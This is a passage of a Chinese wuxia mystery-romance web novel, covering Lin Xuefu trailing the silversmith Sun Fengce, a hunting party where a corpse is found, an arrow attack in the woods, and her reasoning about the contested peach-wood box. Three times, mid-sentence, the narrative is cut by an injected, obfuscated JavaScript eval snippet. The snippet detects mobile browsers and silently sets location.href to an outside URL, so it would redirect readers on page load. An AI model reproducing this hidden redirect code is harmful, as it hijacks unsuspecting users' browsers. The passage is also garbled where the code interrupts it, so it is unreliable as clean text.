摊主在她身后叫:“你诚心要的话八十文给你!” 又过一会,在一个摊位上注意到一枚书签,镂着别致的花叶:“这个怎么卖?” “二百文。” 林雪拂说:“二十卖不卖?” “那不可能。”摊主斩钉截铁地拒绝道,“至少四十。” 最后只在水果铺买了两个橙子。老板娘夸她俊俏,多送了一个。每一个都黄澄澄的,带着青翠的叶子。 苏沉檀看着她。像林雪拂这么惯会坑蒙拐骗的人,不应该坐拥许多不义之财才对吗? 为什么表现得有点穷的样子。 走到石桥边,林雪拂手中的橙子没有拿稳,其中一个掉在地上,骨碌碌地朝前越滚越远。 她追了两步,一只骨节清晰的手却在她之前将橙子捡了起来。 “林姑娘?好巧。”那人的声音很好听,带着惊喜的意味。 花灯垂下的柔润光晕中,林雪拂分辨着眼前人的相貌。 一袭白衣,身姿修长,看得出来年纪不大。卷翘的睫毛、琥珀色的瞳孔和微微下垂的眼角,让他看起来有种小鹿般无辜而乖巧的神色。 “你是?” 对方眼中闪过一抹失落:“贺兰殊。我们前天见过的。” 林雪拂仔细看了看才认出来。 前天她和茱萸在花船上听曲,身边位置坐了一个戴帽纱的人。 当时船上气氛正好,光线又不明朗,只隐约分辨得出那人眉目十分漂亮。 她们没认出他是男子,还分了金桔蜜饯给他。 之后有个穿得甚是浮夸的男人过来,醉醺醺地要与那人“亲近亲近”。林雪拂喊来船长,说打扰她们听曲。船长怕事情闹大,找人把那男人拖走了。后来林雪拂也和茱萸一起走了。 “是你。”林雪拂说。 贺兰殊见她记起,眉眼弯成漂亮的新月,递给她一个精巧的手提兔子灯笼:“这是我自己做的。” 他可能是想表示一下感谢吧,林雪拂接了。 贺兰殊看起来很开心,又道:“听说西鼓楼那边有个极大极漂亮的影骑灯,林姑娘看过了没有?” 林雪拂正要说还没看过,余光却扫到一个行色匆匆的身影。 那人走路的姿势莫名眼熟,深一脚浅一脚的。一时却想不到是在哪里见过。 到嘴边的话顿时改成:“看过了。我有点事,下次再聊。” 她朝那人的方向跟了过去。 街上人太多了,林雪拂一路左插右抄,走着走着,突然认出这是谁了。 她去灯烧月银楼买项圈时见过面的。 孙老板。 之前她拜托茱萸留心一下灯烧月老板的动向。根据茱萸的消息,孙丰策近来深居简出,连常去的酒肆也不光顾了。 茱萸还抄到了一份医馆开给孙丰策的方子,林雪拂看了,都是些镇惊安神、固心温胆的药。 显而易见的,孙丰策在害怕。 因为他出于某种原因,处在巨大的危险之中? 穿过一连的杂货店,成衣庄,屠户,盐号。最后,孙老板钻进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588980|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条僻静的巷子。 林雪拂藏身在一棵合抱的高大松树后面。孙丰策在和什么人说话,可以听见他不甚清晰的声音:“都在这里了。” 她回想起几日前去买项圈时,孙老板四十余的年纪,面色灰白枯槁,也是用这样虚软、精力不济似的声音招呼她;从柜中取出银链拿给她看时,右手不自禁地微抖着。 难怪店里看起来生意不好。 回身一看,苏沉檀仍在她身后,黑衣融进夜色,仿佛浑然一体。 林雪拂把头转了回去。 “都在了?”另一个更加低哑的声音重复道,“不止吧。” “那东西的下落我真不晓得,不在我手里了……” “好了,我清楚孙老板是不见棺材不落泪的。”低哑的声音打断道,“你也该了解了解我的处世之道。三天之内,倘若少了的东西没有识相地回来,孙老板走夜路时,就得格外的小心了。” 林雪拂知道这就是谈不拢了,趁他们出来之前,从另一条斜插的巷子溜走,一直跑到外面热闹处、混入人潮才放慢脚步。 苏沉檀跟着她。神色自若,气息平稳,一点汗都没出。还问她:“那个孙老板的店,就是被你偷的那家?” “杜如冕告诉你的?”林雪拂心不在焉地说,“物归原主的事,能算偷么?” 苏沉檀顿了一下。 快回到南花梨巷时,他们身后突然传来一个年轻的男声。 “苏师兄!” 苏沉檀回过头,见风眠山庄的一名师弟朝自己快步走来。 “苏师兄!别来无恙啊。杜师兄放心不下你,他自己又脱不开身,正好我要来桑州,他让我来看看你。没什么事吧?我明天就跟杜师兄回报,”那师弟看了林雪拂一眼,朝苏沉檀促狭地挑了挑眉,“就说苏师兄自在得很,根本不像他担心的那样水深火热,让他把心放到肚子里。” “不要胡说。”苏沉檀皱眉道。 林雪拂对他们的闲话没什么兴趣,顾自进了院子。 那师弟看着她的背影消失在转角,才说:“我可是听说杜师兄在南花梨巷遭了好大的罪,怎么到了苏师兄这里什么都变了。该不会那女人也至今还没拿师兄试过药吧?” 苏沉檀摇了摇头,那师弟便羡慕地说:“赤裸裸的差别待遇啊。她肯定是倾心于你,所以舍不得了。苏师兄真是艳福不浅,这是第几个了?数过没有?” 苏沉檀的眉心拧了起来,怫然道:“你没事就回去。” “有事,还有一个事。杜师兄叫我转告,千万要心智坚定,别被那女人迷惑了。” 苏沉檀转身就走了。 他进门时,林雪拂还在院子里。 今晚东奔西顾的,难为她没把那只兔子灯笼弄丢了,还在月光下摆弄着玩。 苏沉檀还想问她之前说的“物归原主”的事,此时却又有客人来访。 “雪拂!”郑初乾的声音听上去非常忧虑,“他们说,贺兰殊在街上向你搭话了?” “嗯?”林雪拂有点困了,声音也懒懒的,“你也认识他?” “你不要和他太多往来。你不知道他是……”郑初乾的语气仿佛在说什么严重至极的事情,“他是春衫阁的花魁。” 林雪拂顿时被勾起了兴趣。 “这也是他给你的?”郑初乾看向她的灯笼,“什么丑东西,也送的出手。” “这不是丑东西,是兔子灯。”林雪拂说,“他自己做的。” “这有什么?”郑初乾愤愤不平地说,“我也会做。” 林雪拂很受不了,她是了解郑初乾的手工水平的:“……你做的才叫丑东西。” 5. 第 5 章 郑初乾喝了杯凉茶,说了几句贺兰殊的坏话,又给了林雪拂一张围猎会的请柬。 他担心林雪拂忘记,提出届时来接她。林雪拂摆了摆手,说自己会准时到的。 让郑初乾没想到的是,林雪拂居然带了别人一起。 “这位是?”他盯着她身边的人问道。 “苏沉檀。”林雪拂介绍。 “怪我怠慢了。”他向苏沉檀笑了笑,绵里藏针地说,“早前不知道苏公子要来,不然也好多准备一张请帖。” 林雪拂替苏沉檀说话:“他是我的跟班,用我的请帖也是一样的。” 周围的人听了她的话都在交换眼神,分明对她的说辞很不信服:哪里有这么英俊的跟班? 连苏沉檀也不领情,眉眼间一片沉冽。 林雪拂参加诗会的时候并不参与作诗,来了围猎会也并不去打猎。好在有不少人也是如此,有的在饮酒,有的去溪边捉鱼,还有人在空地上架起了篝火准备烤野兔。 一个穿淡蓝锦衣的人问她要喝什么,林雪拂想了想:“米酒。” 斟至杯中的米酒非常好喝,醇厚柔和,带一点清淡的桂花香气。 蓝衣公子又问她,上次目录上想要的东西买到手没有。 林雪拂回答买到了,另一个执丝绸折扇的人便笑道:“可惜林姑娘并没透露过到底是什么。珣易担心你错过了,一直惦记着想拍了送你呢。” 蓝衣公子面上有些红,端起酒杯来啜了一口。 “呵。”他们身后突然传来一声冷笑。 林雪拂不用回身便知道,是她的死对头楚轻渡到了。 楚轻渡是当今武林盟主唯一的亲传弟子,在年轻一辈中声名最盛,如日中天。 其实她与楚轻渡根本相识不久,第一次在诗会上见面,在场的人都表现得热情而友好,只有楚轻渡一言不发地坐在角落,看着其他人问她初到桑州,气候可还适应、是否习惯桑州的饮食、有无听过桑州的地方曲之类的问题,面露讥笑。在林雪拂说刚到桑州的前两天差点迷路时,他还用足够让人听见的音量嗤道:“山里来的。” 林雪拂转过头,果见来人一身利落的猎装,束起的墨发被风吹得微微飘扬。 楚轻渡一面向这边行来,一面扬声道:“珣易我教你一法子。倘若哪天在拍卖场遇见,看见她对什么有意,你便竞拍什么,拍得了便自己收好,千万不要送给她。” 珣易面上的红晕褪去了:“楚兄这是何意?” 楚轻渡一撩衣摆,在他身旁坐下:“她这人就是这样。你对她好,她不往心里去,可倘若得罪了她,这辈子都不会忘。” 众人知道楚轻渡和林雪拂最是不对付,纷纷让酒岔开话题,又关心楚轻渡猎场成果如何。 得知他猎到了一头狍子,大家都交口称赞,林雪拂也说:“楚少侠的武艺越发精进了。知道你收获了猎物,而不是差点被猎物收获,真令人感到宽慰。” 话落便有几个人笑出了声。 楚轻渡前年秋猎被一头野猪伤了腿,这也是大家都知道的事。 他春风得意地上扬的唇角顿时压了下去。 “走,”旁边一人连忙拉了拉楚轻渡的胳膊,“去看看他们钓到鱼了没。” “成,搭把手去。”楚轻渡顺势站起了身,居高临下地望着林雪拂,“别人都忙着,我可不好意思什么都不干一直坐在这里。” “我并没有什么都不干一直坐在这里。”林雪拂说,“中间也有走来走去。还吃了一块烤苹果。” 气跑了楚轻渡,林雪拂把杯中的酒喝掉:“我也去烤点东西。” 郑初乾跟着站了起来:“雪拂你想吃什么,我给你烤。” “我烤。”林雪拂说,她跟茱萸约好了的,“你吃什么?” “啊?我?我都行。”郑初乾捡了一支竹签,上面串的是一个秋葵,“我吃这个吧。” 楚轻渡惯有的奚落口吻又响了起来:“要不怎么说郑公子聪明呢。知道应当选蔬菜,烤不熟也能吃。聪明,聪明。” 林雪拂烦不胜烦地转身:“你怎么还在这里。” 接着,她看到了站在楚轻渡身边的杜如冕。 “我邀请的朋友刚到,我怎么也要来给大家介绍一下。”楚轻渡说着给大家介绍,目光却一直落在林雪拂身上,“风眠山庄的杜少侠。” 在一片“久仰”声中,楚轻渡微微一笑:“那你们先聊。”这才动身去钓鱼了。 林雪拂大致能猜到楚轻渡的想法。无非是从哪里知道了杜如冕和自己有过节,特意请他来给自己添堵的。 但他恐怕要失望了。不说杜如冕还要依仗她的解药,苏沉檀留在南花梨巷十六号,显然也另有计划。为了保证那个计划能被顺利实现,杜如冕不会像楚轻渡期望的那样,对她显露出过分的敌意。 果然,杜如冕的视线几乎都没有落在她身上过。只在一边听着大家的闲谈,被问到才会答上一两句。 直到林雪拂烤好秋葵,递给郑初乾时,杜如冕终于忍不住提醒道:“这个,还是不吃为妙吧。” 郑初乾与杜如冕没说过几句话,闻言错愕道:“你与雪拂认识?” 杜如冕咳了一声,尽量委婉地说:“有一些接触。你知道她的院子里晒着一种毒蟾吗?” 听出他在暗示林雪拂心术不正,郑初乾面色顿时冷了下来,说:“雪拂会医术不假,可是只解毒不下毒,只救人不害人。想是你有些误会吧。” 杜如冕目瞪口呆,你确定没把“只下毒不解毒,只害人不救人”说反了吗? 林雪拂拿着自己烤的两串蘑菇,去水边的凉亭找茱萸,喝她沏好的茶:“这个杯子好香。是什么茶?” 茱萸说:“红茶。” 林雪拂说:“我是问怎么有水果的味道。” “可能是因为里面玫瑰的果实。”茱萸又给她倒了一杯,说,“你要暴露了。” 林雪拂啜了一口,有点烫:“我能暴露的事情太多了。你具体是指哪一件?” “你做的好事。”茱萸说:“我刚才听见杜如冕跟苏沉檀讲的,他回山庄后收到传信,得知他中的毒药可能并没有被根除,他母亲便去请了后山的老道士。” 林雪拂知道她说的是哪一件了。 茱萸继续道:“好像自他两岁起,那个道士就每年来给他施针,一直告诉他是因为什么先天不足。如今他才知道,是他母亲怀他的时候遭人陷害,所以不得不请那个老道每年来帮他抑制体内的毒性。” 林雪拂“哦”了一声:“原来他身上的邪毒是这么来的。” “反正老道士这回给他一诊,连连说不可思议——那毒已去了七八分了,他身上也全无别种毒的痕迹。”茱萸咬了一口蘑菇,加重了语气,“听到这里,苏沉檀又问他一遍,‘全无痕迹?’你听这话,我觉得他肯定是猜到了。” 吃个蘑菇吃出了骑虎难下的表情。好不容易咽下,茱萸把剩下的半串放在桌上,说什么也不肯再碰了:“其实,多个敌人不如多个朋友。你明明是把他身上毒给解了,何不讲个清楚呢。” “他闯进我家里,把刀架在我脖子上。我想给他个教训而已。”林雪拂说,“他晕倒后,我发现他体内已经有了另一种奇怪的毒,就试了试能不能解开。” 她苦恼地说:“救他实在不是我的本意。” 茱萸说:“现在说不是你的本意又有什么用,救都救了,不如一人做事一人当,承认了得了。弄成现在这样,他全家都以为是邹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588981|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大夫的功劳。” “邹大夫?” “好像是他回山庄途中,在山匪手里搭救的一个人,已经被他们全家认定医术高明、奉为座上宾了。” 林雪拂笑了起来,好像听到了非常好玩的事。 “那苏沉檀呢?”茱萸又说。 不知为何,听到这个名字,林雪拂觉得时间像被打断了一下。 “苏沉檀怎么了?” “虽然你让他吃的也不是真的毒药,但那时候你声称,也要拿他试药,是因为心里有点怪他吗?” 林雪拂沉默了几秒,说:“我不知道。” 时隔多年乍然见到那双眼睛,至今仍有时在梦里遇见的眼睛,刹那涌起的情绪,连自己都很难分辨清楚。 天真而徒劳地等待他的那段时间,小雪拂设想过许多——是他实在无法再来,还是他觉得不必再来?是他渐渐被别的事吸引了注意,于是觉得不必再来;还是从来都觉得不必再来,当初的约定不过是一种社交辞令? 每一种情况都会影响她对这件事的感受,而她实际上并不能确定是何种情况,于是也不确定应该如何反应。 得知他失忆之后,好像更是没有理由怪他了。 可是,现在,记得与承认那些旧事的,只有她而已。 她怎么对着他漠然的眼睛,还能假装一切没有改变呢? 她们聊了一会,感到饿了,从水边往回走。 郑初乾远远地朝她们招手,“刚烤好的。” 碟中兔肉被片得薄薄的,腴润的油脂被逼至表层,更有一阵扑鼻的炭香。 这比她烤出来的东西令人有食欲多了。林雪拂坐下吃了几口,手边又被放了一碗鲜菌菇汤。 “你们刚在聊什么,怎么不说了?” “没什么,怕影响你们胃口。” 林雪拂有种不好的预感。 但她还是吃掉盘里的肉,喝光了汤,还吃了两颗梅子,又喝了茶:“现在可以说了吧。” 郑初乾踌躇了一下:“他们在西岸发现一个人……死在那里。” …… 死者是一名青年男子,在场的人没有一个说认识的。 他身上有些瘀伤,穿的衣裳是缎子的,绣着精细的暗纹,显然价值不菲,虽然尚算完整,衣袋内却不见任何随身物品。 岸西的柳树下,几个人围在那里。林雪拂没有上前。 水边平坦开阔,草匝密布,她注意到几处折断的草叶和凌乱的泥印,不知不觉沿着这些越走越远。 过于沉迷从蛛丝马迹中寻找痕踪,意识到时,已经进到了一片茂密山林里面。 抬头向四周望了望。树冠隐天,暮光难以透进。 突然想到,方才远远地听他们的议论:据推算,那人才死了不到一个时辰。 蓦地有些发冷。 这么短的时间,意味着有一定可能,凶手还没有离开。 她控制着呼吸,尽量不发出声音地往回走。 周围的一切都变得很清晰,断续的虫鸣,潮湿的泥土气息,草茎弯折时的摩擦,滴下的露水。 以及一双窥视的眼,在暗中追逐着她的行迹。 听到箭矢的破空声时,林雪拂正准备像她看过的话本中的角色一样,从一个陡坡上滚下去。 腾空的一瞬,她感到自己撞到了什么人,或者说,被什么人接住了。 对方身上有打火石和青柑的味道。虽然视线被遮住,但她几乎立刻就知道了是谁。 他们掉在一片谷间平地上。 林雪拂心跳很快,平复了一会才从苏沉檀身上起来。 苏沉檀能感到她动作时长发拂过自己的颈侧。他像陷入危机的野兽,全身的肌肉都在绷紧。 6. 第6章 既然苏沉檀出现,林雪拂也就暂时不再担心那个未知的凶手会对自己不利。 改成担心苏沉檀对自己不利了。 但她阖着眼休息了片刻,期间,他都安静地没有动作。 她从怀里取出一个青瓷小瓶,扔给了他。 苏沉檀下意识接住,闻到瓶中膏体散发出的浅淡药味:“我没受伤。” “没让你用。”林雪拂说,“帮我上药。” 她五感敏锐,连痛觉也比常人重些。此刻后背的擦伤灼灼地疼着,她的内衫都要被冷汗浸湿了。 苏沉檀拧眉,到底是打开了瓷瓶。 药膏的触感温软滑腻,他感到自己也开始微微出汗了。 不知为何想起在猎场边,他听到郑初乾向人吩咐:“别忘了给雪拂准备的牛骨汤多加点姜。还有她房间的床被……” 那小厮说:“都是新的软冰绸。过水了两回的。” 楚轻渡正巧也在旁边听着,不意与苏沉檀的目光撞上,唇边便溢出一抹嘲讽的浅笑:“呵。娇惯得她。” …… 稍微处理了伤口,林雪拂打量着他们所处的环境。 参差的绿草,淡紫的长株野花在晚风里摇晃着。 她的视线突然定住:“那是什么?你帮我捡过来。” 掉在地上的是一个钱袋,上面染了铁锈色的血渍。 林雪拂不是很想碰:“你打开我看看。” 意识到杜如冕可能并没有中过她的毒之后,苏沉檀越发摸不透她的想法。但仍注意着她的行动,见她独自走远了便暗中跟上。此番若不是他现身,林雪拂多半处境不妙,不感恩图报也就罢了,还这么毫不客气地使唤他。 苏沉檀看她一眼,把钱袋里的东西一一铺在一块平整的青石上。 一点碎银,几枚铜钱,除此之外,只有一个扁平的纸包。 林雪拂拆开纸包,一张纸片轻飘飘地落了下来。 她捡起来对着光看,倒过来看,再拿远一点看,又问苏沉檀:“你认识吗?” 苏沉檀摇摇头:“像鬼画符。” “你好聪明。”林雪拂若有所思地说,“还真有点像符。” 但和她以前见过的符纸都不一样。应该那个死人的东西吧,不知道是用来干什么的。难道他是个道士? 方才对她出手的,和杀害了他的,有可能是同一个人。 她和死者之间,有什么她不知道的联系吗? 她把纸片收了起来。 回城的马车上,林雪拂一直在思索这件事。 “你说,”她问苏沉檀道,“什么人会想要袭击我呢?我又没有做过坏事。” 换作杜如冕,大概会立刻双目圆睁地抗议:“你还叫没做过坏事?你做的坏事还少吗!” 但苏沉檀眉毛都没有动一下:“你最初到桑州来,是为什么?” “找我师傅呀。”林雪拂说,“记得那个桃木盒子吧,就是我师傅的东西。” 这是林雪拂第一次对他提起师傅的事。 不知道是不是苏沉檀的幻觉,她好像变得愿意搭理他了一些。 “既然是你师傅的东西,怎么会在孙丰策手里?” “好问题。”林雪拂说。 而后就再无话。 苏沉檀等不到下文,转头,发现她已像只慵懒的猫一样闭起了眼睛。 半晌,林雪拂说:“看我干什么。我也想知道。” 一束月光从圆圆的木窗照进来,落在她的睫毛上。 苏沉檀移开了视线:“他总表现出一副疲弱无力的样子。” “孙丰策吗?”林雪拂感到一阵被灵感击中的兴奋,“你是说……他实际上不是这样。” 苏沉檀点点头:“他是习武之人。我看得出来。” 最初,林雪拂也这样联想过:是孙丰策谋害了师傅,然后拿走了师傅的东西。这是最直接、最易于得出的推论。 “你在怀疑凶手是他吗?”她说,“确实,他店里藏着那么多赃物。” 苏沉檀重复道:“赃物?” 林雪拂对他讲了紫玄参和那晚她找到的诸多金银珠宝。 苏沉檀听得很认真:“所以灯会那天,你才会跟踪他?” 林雪拂点点头,又摇摇头:“当时我没有发觉,整件事情,其实非常不自然。” 她去灯烧月买银器的当晚,店里就发生了失窃。她又是城里新搬来的,孙丰策稍一打听就能知道。 “恐怕他从那时起,就在怀疑我了。”林雪拂声音低低的,“如果他像你说的,并没有看起来那么简单的话。” 苏沉檀说:“据我所知,以那只桃木盒子为目标的,不只你一个。” 仅目前现身了的,就有好几伙人。 利用杜如冕去偷盒子的一方。伏击了杜如冕的一方。孙丰策及其身后的一方。威胁并向孙丰策索要盒子的一方。 “多半孙丰策也有不止一个怀疑对象。”林雪拂说,“他可以想办法都试探一遍。” 苏沉檀明白她为什么会说事情“不自然”了:“灯会那晚,他去与人会面的路上被你撞见,确是有些过于巧合。” 而她不假思索地跟了上去。 “大概我的反应已经验证了他的怀疑了。”林雪拂说。 其实孙丰策做出那副鬼鬼祟祟的样子,很难不引起好奇,被人跟踪在所难免。苏沉檀说:“你的反应,只能说明你知道他有问题,不能证明盒子就是你拿的。” “他不需要结果很精确。”林雪拂说,换作她也是这样,可以先圈定一个范围,“至少,他知道了当天我出现在他的店里,不是偶然的。” 桃木盒里的信息究竟是关于什么的,使得这么多人趋之若鹜? 之前盒子在孙丰策手中这件事,这些人又怎么会全都知悉? 现在,她拿到了盒子。这也在一些人的掌控之中吗? 去灯烧月的那夜,她没有遇到任何阻力。那些追杀杜如冕的人见了她,只是象征性地询问了一下。 她的行动,在自己未曾知晓的情况下,也属于某个计划的一部分吗? 她想起在树林里,仿佛有蛇爬过皮肤一般,阴冷、被人盯住的感觉。那具不知名的尸体,那支向她射来的箭。 随后,她又想起师傅写给自己的字,带着新鲜泥土的紫玄参,木盒上被磨蚀得平滑光洁的刻痕。 她记得师傅给放在床上的包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588982|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袱打一个结,那么和蔼地朝她一笑:“小雪拂晚上早点睡,早上早点起,记得吃早饭。” 林雪拂看到她眼底似有水意,不确定是不是光线造成的错觉。 师傅把包袱整理好,又打量她:“是不是又长高了?……你那时候,只有这么点大,我一只手就能托住你。你站在我手掌上,我抱着你从这边走到柜子那边。你小手抓着我的钥匙晃着玩。”又说:“现在可抱不动了。” 理论上讲,那时林雪拂尚未记事。但师傅讲过好几次,她觉得自己好像真的记得那一幕的。 她也记得和师傅玩纸牌,怎么都玩不赢,于是事先偷偷给牌排好了顺序。师傅笑眯眯的,一定是看出来了。但是没有揭穿,也没有重新洗牌。 师傅教她明算,用木棍在沙地上给她出题。教她写字,和她比谁的字又正确又好看。她说:“你这里连笔了,我赢了。”师傅说:“小雪拂真厉害。” 她也记得师傅讲故事给她听,讲野狐狸和老神仙。夏日午后,师傅躺在青森森的凉席上休息,她躺在师傅旁边滚来滚去,等师傅醒:“师傅讲故事。”师傅就讲:“从前有个人,种出来一个葫芦。完了。”她不满,“讲个长的。”师傅又讲:“葫芦秧从南极长到了北极,长不长?”那天师傅是懒得讲了还是在逗她玩的,到现在她也分不清楚。 师傅买到了一种好吃的糖,每天只让她吃一颗。她没事的时候满屋子乱转,在一个挂在墙上、她踩着凳子才能够到的深青色布袋里,找到了所有的糖。又过了一段时间,师傅才发现糖少了好多。 师傅用小椅子给她做了一架秋千,她玩了一整个夏天。师傅用木头给她做了一把长弓,弓弦没什么弹性。给她做了一杆秤,秤星是不准的。 马蹄笃笃,有种催眠般的重复与稳定。 林雪拂揉了揉眼睛,像是从梦里醒来一样。 你最近身体好吗? 你究竟身在何方啊。 有段时间,她刻意不去回想这些。但她还是喜欢这些记忆,回想起来还是会感到幸福。 而且,林雪拂突然想到,师傅那么多次讲到小小的自己站在她手里这件事,是不是也同样因为,这一回忆令她感到幸福呢? 而这样温和、老迈的师傅,却牵涉着一个重大、危险的秘密。 她从来没有向她提及一个字。 她希望她置身事外吗? 抵达的时候,桑州城里已弥漫起了淡淡的晨雾。有小贩挑着木桶,沿街叫卖水酪和牛乳。 微蓝的天幕中还浸着一枚清润的月亮。像一片冰过的白桃。 林雪拂把头探出窗外,看了一会。 “好饿啊。” 她的语气很轻快,很友好。 有一瞬间,苏沉檀觉得这是因为自己在崖底接住她了的缘故。但随后不知怎么,他非常清晰地意识到,是因为他说出了孙丰策其实身负武功的事。或许,和他说的那句“像鬼画符”也有关系。 “等会我们去吃小笼包吧?”她说。 苏沉檀第一次见她露出一个真心实意的笑。 他好像懂得了怎么正确地讨她喜欢。 不,是怎么正确地取得她的信任。他在心里纠正自己。 7. 第7章 林雪拂坐在方桌前等小笼汤包,长发柔顺,被晨光照成温暖的栗色。身上的衣服沾了点灰,但面容仍是白净的。店主端来豆浆,她笑眼弯弯地道谢。 苏沉檀坐在她对面,觉得她这样子看上去很像一个好人。 一个穿碎花布褂的小孩在兜售杂粮豆糕。汤包还没上来,林雪拂看了那些灰扑扑的豆糕片刻,说:“你吃过吗?” 苏沉檀摇头。 林雪拂又问:“尝试一下吗?” 苏沉檀也看着小孩捧的竹箕里的豆糕:“不像好吃的样子。” 林雪拂赞同地说:“我也是这么想的。”说完抬手招呼那小孩道:“要两块。” 小孩高兴地过来,用油纸包了两块豆糕放在桌角。 林雪拂付了钱,把豆糕推到中间。 “你刚才说,”苏沉檀以为自己听错了,“你也是这么想的。” “是啊。”林雪拂说,“我也觉得它不像好吃的样子。所以我想,”她夹起一块到自己的碟子里,“它外表长成这样,其他方面一定有什么过人之处。说不定它的卖点是难看但美味呢。” 苏沉檀狐疑地重复了一遍:“说不定?”但还是举著夹了半块。 吃了一口,两人都沉默了。不约而同地端起晾在桌边的麦茶喝了大半杯。 半晌,林雪拂思虑地说:“卖点,究竟在哪里呢。” 苏沉檀说:“可能是,有利健康。” 林雪拂望着碟子里剩下的糕点:“这东西,真的有利健康吗?” 苏沉檀说:“成分有芸豆,糙米,高粱。” “健康先放一边。”林雪拂闷闷不乐道,“便宜是看出来了。” “嗯。”苏沉檀有点想笑,“待会喂马吃。” 枣红马吃了豆糕。他们还了马车,走路回南花梨巷。 照例要经过灯烧月银楼。周边的店早已卸板开门做生意了,它的大门仍是紧闭的,上面贴着晒得褪了色的“招财进宝”。 孙丰策还没回来?抑或是,他已不在乎这点表面功夫了? 林雪拂远远地望着那间双层砖屋,感到一股森冷之意像潮水漫上来。 从周围的地形建筑来看,藏身在一处观察银楼的来客是很容易的。 她两次进出,不是不可能被有心人收入眼中。 她拉住苏沉檀的袖子:“你在这里等一下,我去后门看看。” 她想知道院子里面有没有人活动的痕迹。 特制钥匙倒是还在她身上,但光天化日朗朗乾坤,她打算从门缝往里看一看就好。 走到了门边,里面静悄悄的。 莫名的,林雪拂比夜里来的那次还紧张,慢慢贴近了门板。 门的另一边,与她对视的,是一双浑浊、带着血丝的眼睛。 她的心脏都要从胸口里跳出来了,转身往回狂奔。 苏沉檀就见她一溜烟跑进了南花梨巷,根本忘了刚才让他等在这里。 “恐怕里面的孙丰策也被你吓了一跳吧。”来找她的茱萸听完从昨晚开始的一系列情况,评论道。 “吓一跳倒还在其次。”林雪拂说。 他有可能感觉受到威胁,进而采取危害她的行动。 茱萸叹了声气:“太冒失了。就算你想引蛇出洞,也该做得更稳妥些。” “我不能总是选更稳妥的做法。”林雪拂说。 也不能总是做易于预测的事。既然已经知道有人试图让她成为自己布局中的棋子。 她给茱萸讲自己的猜想,还打了一个比方:“假如有一个珍稀的果实,所有人都想得到。平衡的局面下,他们都在树旁守着。这时,有一个人上前摘下了它,其他人会有什么反应?” “群起而攻之?” 林雪拂点点头:“看孙丰策多么胆战心惊就知道了,成为众矢之的是非常危险的。” “可是……”茱萸迟疑地说,“现在果实在你手里。” “不错。”林雪拂说,“所以我已经成为了众矢之的。” 茱萸睁大了眼睛。 “但是,”林雪拂低声说,“果实在我手里这件事,是被一个手段高明的人精心设计的。” 茱萸将信将疑地看着她:“你说的这个人不会是你自己吧?” “不是。” 茱萸的表情变得严肃了:“是谁?” “问题就在这里。”林雪拂说,“我不知道。” “……”茱萸说,“那你怎么知道有人设计?” “想象这样一种情况。”林雪拂说:“守在树旁的几人中,有一个人很聪明,既想得到果实,又不想成为众矢之的。” 茱萸“啊”了一声。 “于是,这个人想办法,促成一种混乱的局面,使几个人同时上前去摘夺果实,互相抢来抢去,虚虚实实。那一刻,所有人都很难知道,果实到底被谁摘走了。” 太阳升得更高了,院落被照得很亮。林雪拂向后靠回椅背,重新退进影子里,“唯独这个人,由于事先知道会出现这种情况——不如说,这种情况就是它努力制造的——得以抢占一线先机。” 茱萸的眼睛不安地眨动了一下:“你说的先机,是指……?” “这个人知道由谁摘走了果实。接下来,它只要尾随摘走了果实的人,并在合适的时机窃走果实就可以了。比起和所有人争抢,这样做的风险要低得多。”林雪拂说,“甚至,在一定程度上,它布下种种安排,影响了争夺的结果。可以说,它选择了由谁摘来走果实。” “好一招黄雀在后。”茱萸说,“那它做出这个选择的原因是?” 林雪拂说:“我思考出了以下两点。” “第一点,可能这个人觉得,比起其他人来,盒子在我这里,更方便它黄雀在后。 第二点,盒子里的东西是有密码的。它可能认为,我有其他人所不具有的、解开密码的条件,或者才能。” 茱萸的脸色一下就变了:“仔细一想,这两个原因,都有点吓人。” “我一直在想,是什么让这个人觉得,对它来说,我拿到盒子是最方便的。要知道,”林雪拂停顿了一下,还是说了,“有时候,为了获悉猎物的动向,捕食者会伪装成守护者的姿态,出现在猎物身旁。” 茱萸听懂了她的意思,万分担忧地看着她。 彻夜未眠,兼受了伤,林雪拂实在太困,又和茱萸讨论了几句就去睡觉了。 茱萸来的时候拎了一兜杏子,昨天在猎场边的树上摘的。 她本来也要回去了,但突然想到辛辛苦苦摘了杏,之后一派兵荒马乱,到现在自己还没来得及吃,就顺手掏出柄小刀,削开了一个。 苏沉檀路过,看见她拿刀的姿势,像是想起了什么:“你也会武。” “我不是会武。”茱萸说,寒光在她指尖的刀刃上闪了一下,“我是武艺高强。” 苏沉檀像是突然对这个问题感到好奇:“林雪拂为什么不会?” 